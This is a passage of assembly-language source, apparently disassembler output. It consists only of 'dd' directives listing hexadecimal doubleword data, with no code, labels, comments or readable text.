		dd 0DAE68988h, 2208CC22h, 2F247D51h, 3BECB520h,	0E708C881h
		dd 87B28A1h, 29ED6553h,	7D3C0E04h, 89271151h, 29B4A619h
		dd 44080820h, 28A01341h, 0A1CA7E82h, 8008143Ch,	83A2B877h
		dd 51C8C9EEh, 858E40F8h, 5F1139CEh, 22882EBh, 3C53ED14h
		dd 0D729218Ah, 95C7E408h, 202264D0h, 0A429C360h, 0C7F767h
		dd 230ABBBAh, 85EBA33Fh, 4B0EC400h, 2BED7FE4h, 0EE87A44h
		dd 0DDA656BFh, 198E2C7h, 3EF89648h, 0CA3BF0h, 3FFF05B1h
		dd 4F879D71h, 24008E70h, 11C232ACh, 381CB2Eh, 4C844130h
		dd 0BA90552Ah, 4000A7F8h, 0D56C0EF9h, 0EEEDFC6h, 15FECD63h
		dd 0F34F4380h, 0CFEE7903h, 998E8300h, 951A49E7h, 0E33B0B44h
		dd 5F80B0A4h, 6D0601EFh, 8EC9462Ch, 0DF89BF00h,	4722A17h
		dd 2B03A226h, 94908118h, 0BD57D074h, 0D78CDD00h, 0B986ED0Ah
		dd 0F048752Fh, 64E501D2h, 0C96724FBh, 3CB8C350h, 0B0904C7Ah
		dd 2E61F500h, 0DDD9F833h, 0BB041F72h, 0D45B0056h, 47F184DFh
		dd 0D200F574h, 0AA3A91B9h, 5E1D12h, 49B3881Eh, 0D0B01140h
		dd 0FA451C12h, 80768E0Eh, 0A0759363h, 0F6B203DDh, 38235D86h
		dd 0AF6ABAB8h, 3A78E31Ch, 0BEAC4C80h, 67436180h, 0A3A91868h
		dd 60B85E39h, 44067509h, 4189D862h, 43E821h, 59F9B511h
		dd 662F58D7h, 16009B7Ch, 0E0011E0Ch, 63E9EAh, 0E7A03279h
		dd 1020E458h, 0D8410F07h, 2C338FA8h, 1CCAD843h,	690D0061h
		dd 74DE9EFCh, 6C009646h, 8C3E1F02h, 664D57h, 79DD864Bh
		dd 1C1BE323h, 0C4300C00h, 210BD03Fh, 0EB5100DFh, 0F72B1202h
		dd 1C00962Ch, 0FAEF6F58h, 0DA1A0h, 0A3420165h, 16430F59h
		dd 0DB9FFE00h, 6D33B5E5h
		dd 12C50040h, 0A7734DF1h, 69485D92h, 877A0064h,	2C184CEDh
		dd 97190091h, 0A9502246h, 5E0AA34Dh, 0ECD8BED9h, 0CC432C1Fh
		dd 0D67690h, 0C42FF410h, 0CD31717Fh, 4C3F1C90h,	3504006Bh
		dd 18A22582h, 0D91240B0h, 8005491h, 0E77E0236h,	0A06D0066h
		dd 0CB0AB6ACh, 0ED0E3956h, 0E1D593CEh, 0E046B792h, 16BE8140h
		dd 0FD7E0071h, 0B08A7522h, 0E439DEC2h, 13959F68h, 196427C0h
		dd 0C11490Dh, 4AF2227Bh, 9F02A7C0h, 63D1CB85h, 0BB28439Dh
		dd 472BF8F1h, 61D30597h, 0C172312Fh, 0FD8D6740h, 5B74203Eh
		dd 0AEC3B900h, 8F6D02BDh, 8E230022h, 30C182E4h,	4EECE2A4h
		dd 8A1C2E09h, 55C30041h, 2CBE3h, 5B540DB4h, 0C1D4A398h
		dd 9606F400h, 4A6FAD2Ch, 717B2Ah, 149220F5h, 4903C1A3h
		dd 0A711E900h, 12EEFD30h, 0E0E8913Dh, 9F4604Fh,	0C700ED7Eh
		dd 0D0B45D51h, 28BAE064h, 0FCC06292h, 38751F8Ah, 0CA80FCBBh
		dd 7190D769h, 65093BC5h, 4BA2FAh, 43C8CBC4h, 76E602B0h
		dd 882E4534h, 6FB07043h, 0D8739B1Eh, 4D9C7B00h,	0CD30F43Ah
		dd 79507ECh, 0A0591869h, 966455EDh, 0D4B15D24h,	0DAA78800h
		dd 4A5812h, 0B89DB433h,	44F5CC4Eh, 853D7228h, 9001A8FEh
		dd 2173A90Bh, 9440DFD3h, 1FE307h, 0CBD8FE76h, 0C35D3F57h
		dd 2BAC0F00h, 6DE8C8FAh, 0A4A902BFh, 3F55A893h,	89C0D08Fh
		dd 0D10CDED3h, 0F2F5FD00h, 0D2D49EF1h, 6AC00095h, 155DB3B0h
		dd 51039CECh, 72C67747h, 1EE2B01Bh, 0C82D00A4h,	2311EE33h
		dd 0FC100616h, 613F6DBBh, 37B2A58Ah, 0B35504B1h, 0A0D28070h
		dd 9400BF30h, 0BBA5D175h, 0A840816Fh, 36BAC8h, 0BDAFA2A1h
		dd 80899C93h, 479E5000h, 0AEFA051Ch, 0D96407D1h, 0C916E771h
		dd 968E6400h, 7924884Ch, 1300E589h, 0FB690698h,	2150034Ah
		dd 0DF614F63h, 0C3A4808Ch, 1001CBF2h, 0AC7E4086h, 8AC8FD9Bh
		dd 72AB0F0Ch, 84671D02h, 28565039h, 8979DCD6h, 37CFD000h
		dd 0B6737AA3h, 66F00E8Ah, 74C01BD3h, 239628DFh,	0E5D845Ch
		dd 40F330BEh, 0AD18B2A3h, 835117C4h, 0AA880020h, 172DD91Dh
		dd 0D4219000h, 277CA66Fh, 0E7EA1D84h, 49D640E5h, 431C66FCh
		dd 17DCB600h, 77FBD9A4h, 9A450003h, 0C69B6520h,	0E71DEDB5h
		dd 4CE68869h, 5897E100h, 7A0DF0h, 0B2489EA1h, 86A3D40Fh
		dd 873AD53Ah, 694B1645h, 0CAAB33h, 9165B291h, 77185DA1h
		dd 0E700CB72h, 0F2CD2BD4h, 1D6AAF1Fh, 403380ACh, 241D7C06h
		dd 0E200DED8h, 0DF3B1044h, 9D18E1h, 436E0EFEh, 9A2971B1h
		dd 4D50D980h, 45385411h, 569B3F87h, 0B1CC7723h,	0D4A47A82h
		dd 9A00BEE1h, 786E6CE7h, 4971A8FEh, 587F66FFh, 0BC5A8983h
		dd 273303A1h, 0AB6CAEA1h, 59EBE0D5h, 6EBA00BBh,	0A4CA347Eh
		dd 290079FFh, 6BB21A5Dh, 17D796A1h, 6FE4A0h, 1861545Eh
		dd 0AD00887Dh, 6683083h, 0F4EAE9Eh, 7E3AF050h, 0C1B562C0h
		dd 0F01D2E2h, 7F7B0744h, 81EC8B26h, 9FDB00EAh, 8EF4430Ah
		dd 0AF707E3Bh, 0C898C675h, 8A51C300h, 6FB5B126h, 0A80D3CC2h
		dd 0BEEB7982h, 4C680831h, 0D300DC06h, 0FDF18CF9h, 74CB496h
		dd 0EC953145h, 56CE603Bh, 0C5005B62h, 4F88B8CBh, 243C4D2Ah
		dd 80985FEEh, 0A0E2A9F7h, 592632E3h, 0B010F4D9h, 0E8139050h
		dd 0D07A22h, 0B2D258A9h, 3149E344h, 1F00F490h, 88E2876Dh
		dd 90A1191Eh, 0EA3A12A0h, 0D7342046h, 502441F9h, 0CB008996h
		dd 0AD4F9E62h, 27B10098h, 0D157E617h, 0E1046075h, 642151B9h
		dd 4990F487h, 74CEC03h,	0EEF37DD9h, 3EF04A6Fh, 0E094B8F2h
		dd 0C8815035h, 0D1E85C50h, 0EEA2F118h, 4D004A34h, 4B9EDE13h
		dd 1C57BD35h, 801FE0B9h, 81FEFB42h, 28009DE5h, 1BBEC733h
		dd 5C12C902h, 0AD00A967h, 53AE7251h, 0E00D3DAh,	0A93806B2h
		dd 0B5218Dh, 0FB3702F7h, 5A55A59Eh, 4B4D38h, 0BBBFF410h
		dd 27FC794h, 508C4347h,	0AC80F738h, 0AD79EF34h,	0D007B7Bh
		dd 0AB8EFBC9h, 0EF9FCF5h, 74FDF44Ah, 5C290F60h,	1A4B3275h
		dd 0C1057812h, 0C4009D19h, 59D5C7DEh, 0BDB7006Ah, 3AFF97ECh
		dd 0E300AC3Dh, 7805BFB1h, 0E084C7DAh, 8E410A03h, 8984B3FBh
		dd 9899B03Dh, 0C940CC2Dh, 0F2EF8302h, 80CBCDFDh, 6D840FA8h
		dd 3BA903ADh, 0D6933DB5h, 20896998h, 5A169C77h,	0B800BF25h
		dd 14D55D83h, 1BB800DDh, 0D406D1FEh, 3BECA2E7h,	25B70900h
		dd 0C5C0865Bh, 0D8360091h, 0D07B66EEh, 0E602BE1Ch, 0DB878C59h
		dd 1F4040CBh, 29F91FCFh, 79007997h, 52C13A41h, 31001C11h
		dd 0D4D3AA5Eh, 0F2D0CFh, 24452DE7h, 0B2F4BB86h,	0E0661300h
		dd 827F5278h, 0A3840F6Ch, 26FB269Bh, 179371B8h,	3F2570B8h
		dd 0E88C2272h, 0B43A00DCh, 2817F153h, 8B0037FCh, 5A136861h
		dd 4818006Bh, 202743ACh, 2F015BE1h, 2916370Eh, 0B040F24Ch
		dd 0FED0E3A6h, 94FD0060h, 0C21F93E6h, 2B4A8B82h, 33BFB400h
		dd 0F0EEC5Eh, 84F3B5A4h, 17AB03Dh, 0B2F496C4h, 0FEE3AF00h
		dd 0F23D04F1h, 0DEA71D54h, 9D8580B8h, 0FD3B465Ch, 0A6CD5B00h
		dd 4812DCD2h, 65C22F7Ch, 0DF8B65E0h, 1CD16600h,	0F90D6B72h
		dd 10676722h, 5C45F09Ah, 0B4008FC5h, 6303A3A2h,	1C83FC46h
		dd 0C028EE22h, 0AD5EA54Dh, 0EA0098D1h, 7BCDF196h, 0FA2478BCh
		dd 9F57138Fh, 10800FAh,	5BFF10B1h, 7DE9748h, 0D0F273F0h
		dd 5F9003F0h, 45E906B3h, 301FED13h, 25FC8800h, 0A8F1240Ah
		dd 201A00A6h, 3394DA6Ah, 0B1E09ACBh, 9DC6560Bh,	107202C8h
		dd 5ED4A2CEh, 0C0566241h, 48ECFE14h, 5A0FE047h,	1B40D5AAh
		dd 9E204983h, 0FFE72D00h, 1E6A09E4h, 5A5000C2h,	8EF0D015h
		dd 7C9058D8h, 0EEA425h,	0C06ED9Ch, 0AD100093h, 0E7985DDCh
		dd 80005F53h, 22CC71F2h, 751D76Ch, 9D1EDF5h, 4A8103Ch
		dd 47B0A977h, 44785200h, 0E228A13Fh, 36FC03CBh,	4804AA4Ch
		dd 0BB2383F8h, 9C954100h, 0B13B9427h, 0D96B00D0h, 0A22669EDh
		dd 0B4948642h, 11752F00h, 12788052h, 40AA2BCCh,	182920F0h
		dd 85E52F9Fh, 4E99510h,	104718EFh, 5E138D82h, 888BE23h
		dd 0FB68024Eh, 0C65AE5B1h, 0B3FFBC80h, 3B4FDB4Ch, 43859800h
		dd 131BCD88h, 4014BB35h, 0B2B0502Ch, 30162F5Eh,	45CFA8Eh
		dd 18B3FDC0h, 9C3B9ABh,	98D96887h, 0BA4AC800h, 27F5561h
		dd 0B742272Eh, 3B0E9C29h, 0FF996078h, 18C31B4Bh, 508E736Ch
		dd 3E072342h, 0D3DDB287h, 8B975720h, 0D7260FDAh, 0DCC0C330h
		dd 2CB2750Bh, 5982300h,	6275D6Bh, 375A7C70h, 21C9973Ch
		dd 0F0194BEDh, 8700C067h, 0E523B262h, 70024540h, 990B0050h
		dd 0AF4C7D76h, 48008670h, 29F26EECh, 0C7738D95h, 401257F8h
		dd 9613A84Bh, 6AFED305h, 7497F2C9h, 75E86580h, 628D00C4h
		dd 0C54FE250h, 6A78E0ADh, 0D56D1E0Eh, 466C40B0h, 38E51A6h
		dd 0A2A39059h, 7C907602h, 0CD0757A9h, 7103D367h, 289291F0h
		dd 0D68D00DEh, 56F577E7h, 880A6CBDh, 0D04A7860h, 8066C70Eh
		dd 7C7E2816h, 0C02B599Ch, 0F8C18601h, 0E0BDE299h, 0FF0026F4h
		dd 7D634092h, 5C082BE1h, 3A808465h, 285EE52Ah, 0EF1A1600h
		dd 3BF24D5h, 807B6Eh, 0B5A969D2h, 0A2F8D821h, 88B0E82Ah
		dd 7F88C500h, 27479E5Dh, 0CA860091h, 0DFD362D0h, 750039A5h
		dd 0EFC95873h, 2A870Dh,	9E960443h, 806B8CC2h, 1E8D84Ch
		dd 20C86417h, 99419FE5h, 67F80145h, 895000F4h, 0D81F6E9Ch
		dd 48C0D42Dh, 3EE2C6A4h, 0E8C26098h, 9460DA28h,	142AC500h
		dd 9AE89CC8h, 8F880023h
		dd 9B21C483h, 0E401171Fh, 0A7B07CB4h, 703046E8h, 189476ECh
		dd 0D1D6B366h, 0F0A011C6h, 62242F6Fh, 9CBEACA8h, 0D681B985h
		dd 6CEB8CA2h, 7E77F0BEh, 0F8180043h, 51A13BA5h,	9800B430h
		dd 0C3FD5A48h, 535215h,	3D770B74h, 8BF0E46Ah, 39164F00h
		dd 3C170D5h, 2DD70492h,	80B1EB1Fh, 30DE5AA8h, 7A8BF10Ch
		dd 0E381A2h, 61996760h,	87D74B3Eh, 0A1C0BF1Ch, 949FCE80h
		dd 902C05h, 0C9972BF6h,	3283201Eh, 0DF342E04h, 4DC04EA9h
		dd 5830C86Ah, 7F03DC25h, 3A1E320Ah, 0D0385DC0h,	0F26DAE1Ch
		dd 0A4FB1940h, 390999h,	0EA8E277Ah, 836216DBh, 2F923F01h
		dd 88FA3D52h, 54A6D4h, 93E5ECF5h, 0B6CA6C1Dh, 15CEBA05h
		dd 0EB8D9Eh, 0AFF3259Dh, 1A008AC0h, 0CF3153F1h,	3E9489F5h
		dd 0D2BDC9DDh, 74187503h, 13A814B3h, 0E116179Dh, 1C0AF982h
		dd 0EC00CB3Bh, 5185736Ah, 107901D4h, 5E987D77h,	0EF2960F0h
		dd 3672800h, 0EC7B8F83h, 0B57700E9h, 0F7FD6127h, 0A77097D6h
		dd 0EB2E7100h, 0B76BFC48h, 0E2C5007Bh, 82384926h, 0C600F88Fh
		dd 0AECF0E13h, 0B8F1DCD4h, 0CE6700A8h, 9AEE23BDh, 0EC00C242h
		dd 7DE53788h, 34AFCDCh,	974D51B4h, 0D100E887h, 10370711h
		dd 79C7F78h, 1F7E0DA3h,	0AA219C51h, 0F5D5E801h,	0E9F0283Fh
		dd 44B19080h, 4AC8B6FBh, 99AB970Ch, 39B937h, 0A85F2443h
		dd 0CA58669h, 4C5354Ch,	0B959BD94h, 0A6D000EBh,	0AC2E0764h
		dd 0E1E95607h, 7A6029A7h, 0ECE2DF67h, 9A570654h, 74945E6Ch
		dd 0CC0E0C00h, 4C26F53Ah, 0F4B00213h, 0B771A5BFh, 4505A840h
		dd 10D59A1Ch, 17E2C7C0h, 4F126D08h, 0A22C0CF9h,	2200BB30h
		dd 2444D56Ah, 39E73E5Dh, 4D00A1E3h, 6F9852E8h, 0EF07DA35h
		dd 81C9CCC4h, 60C740FEh, 733845D4h, 840F037Ah, 2C62385h
		dd 0DCF87800h, 0A0D1E63Eh, 181600E3h, 927267E8h, 0A600D775h
		dd 0F4482DD9h, 9820BA01h, 82751Ch, 86F21DADh, 0EA45C824h
		dd 0E800ECFEh, 612D5C4Ah, 3FA50374h, 42093C37h,	0F425D3E5h
		dd 0E18C00D7h, 5DA316A6h, 497E3B01h, 7BF7F05Ch,	22688450h
		dd 2B781C8Fh, 0A4DEC47Dh, 47DEC01Ch, 4F1AE8BAh,	0E078F4FEh
		dd 7367BB68h, 7D334C9Ch, 0E64CD801h, 0FCF3B956h, 8F037AF2h
		dd 41CB6B35h, 89E002E4h, 731EFAEBh, 4785E88Fh, 0B4A00052h
		dd 0EF9DE634h, 0BA4E7200h, 0B6759308h, 0C77D0055h, 63CF8047h
		dd 0E47AA4E0h, 7884F350h, 0C5E79100h, 0B55E5A37h, 18F8603Dh
		dd 83EDA8E0h, 4A031E0Ch, 1502A4Fh, 91B35751h, 6CF31353h
		dd 0B8D41FC4h, 74512E58h, 0DAB03C8Dh, 0ED879Fh,	616853E8h
		dd 860E780Ch, 0A0DB5B6Ch, 5F89986Ah, 91A72DCCh,	6035BC21h
		dd 7087C79Bh, 0CAD8F7C0h, 9F59B700h, 0A3254B42h, 5DB277FBh
		dd 8109B05Eh, 74A0C854h, 0FBA8EC43h, 29753E17h,	0B016h
		dd 8DF9F67Ah, 3809EAE9h, 0BD00A07Dh, 0F073CA44h, 0E2002686h
		dd 159DB2A1h, 7948639Bh, 0E443079Ah, 2C0249h, 4A1A72D5h
		dd 0A30C270Bh, 7CD08EF7h, 804F3838h, 0FE213742h, 0FC1130C5h
		dd 0CFC700ABh, 0AA268B9Eh, 0CB00767Ch, 17A6F490h, 12019B4Bh
		dd 596671h, 5E320E24h, 8B00A196h, 13C4F2BCh, 4867DC27h
		dd 86004F04h, 0BF1BE339h, 12004F61h, 0B731D53Dh, 9892D7h
		dd 0DBBDF50Ah, 871B502Bh, 9CBE5C0Fh, 0CDE521AAh, 0A86C848Bh
		dd 0E300BA9Dh, 54A92944h, 6800569Dh, 240A82CDh,	1D14F774h
		dd 1734E06Ch, 45720153h, 0C3F87F33h, 7A22C3B0h,	4C5A3200h
		dd 5459C6FCh, 36E100A8h, 0C95798ECh, 5200F376h,	0D8870F2Dh
		dd 0A01D06h, 268C1C73h,	0A719830Ch, 6F0B1700h, 3623A240h
		dd 924C0031h, 731FDE77h, 0DB0275F6h, 0EDF58ABh,	0EA896043h
		dd 9C7033Bh, 74733748h,	9706E207h, 0CE40C180h, 32BC2Bh
		dd 59C52CA1h, 0C464EFA4h, 1C368800h, 7A91761Eh,	0FCB20033h
		dd 5C7ED12Fh, 270E1534h, 608B4E59h, 0C1AB91BAh,	480F0119h
		dd 752E7C99h, 1831C01Fh, 530978E2h, 0AC5854h, 0FAA63D37h
		dd 55800EF3h, 2D47FECBh, 0E4430EFCh, 1FB015FBh,	5C075229h
		dd 0BF5BA2D5h, 1AAA6E10h, 56C04CD6h, 8CACF800h,	21B62959h
		dd 78AF3D1Fh, 0E7D3DD80h, 0FA528Bh, 1A90F79h, 0F81C0CE1h
		dd 7C3C1D70h, 283C80FEh, 60F4626Dh, 82D3CFCh, 0F295812h
		dd 520088B3h, 0DE06C290h, 0C114F07h, 0AEE07B51h, 411B4Ch
		dd 84624B2Eh, 0B7CDA53Eh, 0F6388500h, 2193CE51h, 0DE90ECAh
		dd 0FE08DBCh, 0E2FF8E7Fh, 0EB351100h, 49AA4132h, 2EEF00E1h
		dd 3AF97733h, 5D034FEAh, 7B10DCB8h, 8E008FF0h, 0B6B50Ah
		dd 547050FAh, 0D28BDFF7h, 9307887Ch, 1F6B6492h,	5F2DC320h
		dd 1CBE8E4h, 2CC53DF4h,	0D0A447DDh, 0C100DA63h,	0FD801588h
		dd 0E27BE9h, 0CC5C4803h, 671AA93Ch, 609B8100h, 4FA73ADDh
		dd 0DBC600FFh, 0E561A0AFh, 1600B1B4h, 0F84E17E4h, 3CDC85Bh
		dd 2E7A4CE7h, 0C580454Fh, 4A0106DFh, 84F5E4A7h,	7E8093Ch
		dd 6E2300DBh, 0DE736BB5h, 0A91F50F8h, 4DC9D14h,	0C5C700FDh
		dd 0B113494h, 962E0030h, 28189A4Dh, 0CAE6F9B5h,	0BA2A07FEh
		dd 54108C50h, 9D00FE67h, 0D8704BC5h, 6A0705B1h,	0E310435Ah
		dd 4C352DB0h, 81C20471h, 818AC35Ch, 208EC081h, 0DC0001B0h
		dd 888CC9F8h, 0D9D4B2h,	0C582C376h, 0AB92E9B7h,	9AB1F204h
		dd 3C802893h, 187779D8h, 10267B91h, 7CEAE170h, 50464000h
		dd 4CEA3012h, 3374000Dh, 0CD352B36h, 371FBCA1h,	0FFD34F4Eh
		dd 499B0800h, 91511C2h,	6D0584BFh, 0F38FA180h, 0D60EB02Ch
		dd 808C73FAh, 0E7B4F05Ah, 0F2880736h, 0F18A48EDh, 2B072F9Ch
		dd 0B63E5501h, 0ACC4C5D2h, 2A9D0EBEh, 620095A9h, 0BC56C14Fh
		dd 0FD00DC90h, 9160B210h, 0F0116Dh, 0AE7C4CB3h,	0B1D7FF57h
		dd 395B7600h, 0A69DA9E8h, 0F22F001Ch, 0C9C68D85h, 0E40901EDh
		dd 80384FC5h, 0AC53DC93h, 0DC7C488Eh, 8BE19403h, 0FFE89BAFh
		dd 2B011ECEh, 804082C5h, 8034EBB6h, 137300ACh, 939BB0D0h
		dd 0FB009CC6h, 94CBD4CAh, 0C03A2308h, 5597D3E0h, 0CC742DFEh
		dd 4E2A3600h, 79C7F6FCh, 0CD6900C8h, 0A8B66653h, 3F00C028h
		dd 0EE0E5C82h, 14D1B6Dh, 0B8F5F29h, 203E4CA1h, 0CE005578h
		dd 23B99586h, 0E6FF020h, 7552DA09h, 0DC007A29h,	68111A55h
		dd 26E86598h, 0BFD95409h, 52C00007h, 0FE1779h, 0AF280AFDh
		dd 0F2D76FEEh, 45007890h, 9DE9B5C1h, 2651CEAAh,	100B64Ch
		dd 0BFED696Ch, 0A076E4B1h, 49483C01h, 0D7473924h, 0F03FD8h
		dd 9BB743BBh, 0C4513675h, 4625D0A0h, 3CAAE107h,	0C09E521Dh
		dd 0F95099CEh, 344E48B9h, 861AB300h, 0B193AFF5h, 0F8006274h
		dd 0BBBAA1C5h, 9CE1E4h,	233B7084h, 0E5DF967Fh, 61C30700h
		dd 66A9796Ah, 8B90B3h, 725BB4BEh, 94F95997h, 69A59207h
		dd 0DD6F27D7h, 0BFE8CFC0h, 6DAB5Ah, 0B920B7D0h,	94175818h
		dd 0A9D87F00h, 22270E8Ch, 48873D83h, 32180177h,	24EC7A57h
		dd 9CB5F09Ah, 0FC00657Bh, 0C6704233h, 0C9DB30Eh, 0DD9EB2A0h
		dd 430085F0h, 23D8560Bh, 0FAE768h, 9F96B42Ah, 0BEFB0FF6h
		dd 0DA703100h, 547CE3F2h, 0DEB50077h, 0A4D30E05h, 0AD002C19h
		dd 0CAC13A88h, 24F41D15h, 448E31Ch, 5E73B83Ch, 769C3B40h
		dd 16E656Bh, 0B55C5BDCh, 0D460441Ch, 31B8DA67h,	6C108100h
		dd 0C99666E1h, 43F0A0E2h, 7B790036h, 917D2FE6h,	453A730Ah
		dd 0BFC68029h, 0E5775637h, 1B790027h, 0E606921Ch, 710F9BFCh
		dd 60A2EF74h, 5CE136FDh
		dd 0EDA5060Ch, 548EAB26h, 0C9CF0703h, 0D80ABFCDh, 0D9F994h
		dd 0ACFC62C6h, 76D4F82Bh, 0C074FB07h, 800F63EDh, 49840760h
		dd 93EF0936h, 0B00013E6h, 5B1D0BCFh, 23C23Fh, 834CE8C4h
		dd 0ED04E1h, 80288488h,	4046DA95h, 0C70E9B00h, 7B63F055h
		dd 4BAD38AFh, 0A98F0F0Eh, 74E77520h, 4A01020Bh,	8459DE71h
		dd 1C4218Ch, 9020E248h,	0FAA87340h, 11506E40h, 0C53C1001h
		dd 3A8F10C3h, 2EEA0672h, 0DC0E6A70h, 0E7163F03h, 0B0250FACh
		dd 9021BDC2h, 0CF3DA05Ch, 9828006Eh, 0B66AB73Ch, 9B0015DDh
		dd 798F771Ch, 1C1F5E76h, 4025D263h, 19B85628h, 360014E9h
		dd 0A72BE2E8h, 72882Dh,	90FFEA2Ah, 7EC47531h, 0DDA67C09h
		dd 0A4158F05h, 3880C1D5h, 0B34AB7Dh, 90D210EEh,	0FDCD5880h
		dd 57FAD654h, 0C004F5EEh, 1B2E92B9h, 21806385h,	460F07h
		dd 64826C4Bh, 0BFA2AF44h, 123D615Ch, 3840E42Dh,	3A0D5F14h
		dd 3E10B291h, 0F3F41DB9h, 5FCE8C50h, 8434ED3Fh,	0C4B95C6Bh
		dd 0F452600h, 6C23FCC9h, 56A9B101h, 0D716F966h,	5C83CCh
		dd 0BDD4F389h, 0F0411C01h, 51774B0h, 0FE009D60h, 1036AEC5h
		dd 88F85Dh, 0D3220E29h,	34C81ACAh, 938E04Ch, 85380616h
		dd 84880784h, 0A5781E6Eh, 0EDF49h, 50E26D20h, 0A3F2C8B2h
		dd 21413D00h, 0DE7DF3F8h, 0E3DC00C9h, 8A7AEC5Ah, 0A7300B5Bh
		dd 0AFF85088h, 14A85887h, 0DFC29600h, 0A5B3BDA4h, 3D5F7700h
		dd 707F5513h, 2C2000BEh, 46799F3Fh, 0E9548886h,	190EAE84h
		dd 0A00D06A9h, 0D7ED9EF2h, 855E0181h, 317462E4h, 2055F1B8h
		dd 60E8E020h, 5A0B4400h, 53308D7Eh, 338C00Ch, 79C46E66h
		dd 0A2490200h, 0FBC97CB4h, 0F76300B0h, 370AD9AEh, 9C009887h
		dd 0F9BF427h, 8C85DCh, 0E26E8DB3h, 7FE01A4Dh, 0F289161Eh
		dd 61029880h, 0F6947BBh, 0E58443ACh, 41BD0800h,	7F00FF39h
		dd 18178130h, 900FB755h, 576F008Fh, 3EA1B052h, 7401C206h
		dd 0EFCA5AD5h, 0EB707808h, 0C1EC0317h, 0E811D25h, 0F81CA2B1h
		dd 1600EF33h, 0E3BA8C75h, 727F6EB2h, 8B7E0015h,	0D78AC277h
		dd 0E93FA45Ch, 0F2018536h, 81C51E3Fh, 0B83E5C80h, 17AA00A7h
		dd 9A2C0A45h, 0A900DD44h, 115C0581h, 1D10310h, 1DE921E0h
		dd 60782F1Eh, 6F0F2E7Dh, 0E0ECEE1Ch, 0AC1509BAh, 1AED00B1h
		dd 7BBC62F9h, 1C00D905h, 7376A864h, 7EBBF5h, 5CE801DFh
		dd 5AF72656h, 514ADC1Eh, 0B179F380h, 4094270h, 4D1ACBC1h
		dd 0BACC864h, 2DCAD501h, 381712C2h, 773440DEh, 601A79E9h
		dd 1FF6C88Ah, 1606AD9Dh, 279ADA17h, 455E00D6h, 93056FEFh
		dd 0E4013E79h, 0A067CA88h, 38977D8Ah, 0CF940060h, 935E427Ah
		dd 0B8733000h, 2CFE66D7h, 597F00C8h, 8CF22E0Dh,	9FF64E6Ah
		dd 0EB5BBA18h, 12C93C22h, 4074B28Ah, 0AE64E548h, 45483948h
		dd 0CCBC1F0Eh, 18CA78C7h, 0A7A250A0h, 65DE007Bh, 2DF5D7AEh
		dd 0D91F7580h, 0FCC535E0h, 7CD12A21h, 0C3F886B6h, 937112A4h
		dd 0B9540F02h, 1A08CE40h, 0C20103E4h, 0CD539A21h, 20820EFFh
		dd 0AF605015h, 0BFE7A480h, 570CA1DDh, 20EDFADAh, 0B1E11226h
		dd 99340081h, 975B7F8Eh, 3AE30C02h, 0D724EEE9h,	73DE75E0h
		dd 842FF701h, 0FF14B61Eh, 0AB72E884h, 6CB5877Fh, 0EE0E4B71h
		dd 0A0AAD52Dh, 47A98AB5h, 60780C81h, 0FFC8EAFCh, 0AF2AB001h
		dd 0DC6791BEh, 0B416E850h, 1DDE73C4h, 4095C7ADh, 213EFED2h
		dd 7000C73h, 98DFC551h,	1B37D0h, 0C22015A0h, 50A711EFh
		dd 90D37D00h, 92E9DFDCh, 0B7C5263Bh, 581D8000h,	7AE196BAh
		dd 0BF858403h, 91B4A7CEh, 0E030DC2Fh, 309082h, 0F55B3A95h
		dd 9AED076Dh, 4748B800h, 9123E8A1h, 50FEEC9Ch, 2C78E843h
		dd 3846209h, 8D1AF540h,	0D71BABA0h, 9F30F600h, 0EB18A219h
		dd 0C391069Ch, 385138FAh, 6D0029E8h, 0A1CBFB03h, 0C0B327D9h
		dd 0C4452518h, 0EA3181B2h, 0C1ABC070h, 0BE893C4h, 9A74D817h
		dd 88C90021h, 95DC605Dh, 3C7B625h, 889AB1CCh, 731C8ABh
		dd 436F3E90h, 0ECF83109h, 0B6F260A4h, 0C9BBFA04h, 7085AAA6h
		dd 838C5D80h, 4DB4008Bh, 68F213A3h, 0BA0156B5h,	3D5B96A9h
		dd 0C8308697h, 0A62A74CEh, 87C40094h, 977545B5h, 0EAE21110h
		dd 80FCDB04h, 34C36EDAh, 0D081A8B1h, 387500BFh,	0F2503C7Dh
		dd 0F1003B3Eh, 0E40DE84Bh, 3A428Eh, 8273ABE3h, 545B3336h
		dd 0F5A14800h, 0D5C06846h, 331009Ah, 567817B1h,	2600924Dh
		dd 51BD88A0h, 181A1CDh,	7E90D7B4h, 30159737h, 0BB70C080h
		dd 6489B601h, 0F5D6BAC7h, 0B005C0h, 9EBCDCFCh, 0C2827C4Eh
		dd 453ACD09h, 0E0C86070h, 7F40B0FDh, 2E7C76h, 200EBE4Eh
		dd 0A650E65Ch, 807B7838h, 4125C9C0h, 0F6FDFDDh,	8F8675AEh
		dd 9BBF1B60h, 2824C8E0h, 89129B4Fh, 30EA7C32h, 0DB01D069h
		dd 30D8A95h, 6C205FB9h,	0CBB800BAh, 77523A12h, 0BC010E84h
		dd 88989CFAh, 0F8645747h, 4B1C04B5h, 0C385FF5Eh, 1680DF04h
		dd 0F895AF7Ah, 0AB7700D1h, 0F2883810h, 6209F374h, 6FBBC7h
		dd 0A5AD32DBh, 707360DAh, 9E23189Ah, 8EA2040Dh,	0FD300872h
		dd 0E4A9002Ch, 0F01958C8h, 0BD2482FEh, 2F00A403h, 7C7AA612h
		dd 5038E58Ah, 0C094143Eh, 0BC24485Fh, 0DE4EB0ACh, 40F90981h
		dd 2EFA390h, 0EEC30F3h,	0BFF43C00h, 4E3AC4E7h, 0FDC98D0h
		dd 0F0F6741Ch, 0DE7F41E0h, 53004612h, 68677D7Ah, 131566Ch
		dd 61A1F33Fh, 208AFBC5h, 0DCFA5B82h, 0D12CE0A0h, 3D44E45Dh
		dd 0A9F1BE0h, 7880EDE8h, 27A26D7Eh, 44A02FE7h, 0A043E4AAh
		dd 8381AC3Ch, 0B8A88EEEh, 9080C4DDh, 98D8AEC4h,	4C22482Fh
		dd 0C0939B00h, 285DF471h, 3AA60A3Fh, 89AA07DBh,	23A13DC1h
		dd 0FB61D388h, 68492857h, 904002E0h, 0A33D3FA2h, 76B8B00h
		dd 0FE33FDD0h, 0E71F4D00h, 584AAB79h, 0F1190195h, 45C6F046h
		dd 343820FFh, 5FB3F00h,	7DB97CDh, 0C729004Dh, 6EF4989Bh
		dd 220EF099h, 0ABCC5861h, 143483ECh, 0FB8AC853h, 0F8290E15h
		dd 31C05C98h, 0F4B082E1h, 55EC4200h, 0AD334620h, 0ACC60071h
		dd 2F0E8873h, 0F10760AEh, 0ABA43CA0h, 8A1B6D60h, 0F5B800BEh
		dd 0C1912D0Bh, 0DD005876h, 11D442A3h, 0B488F47Ah, 0AB887700h
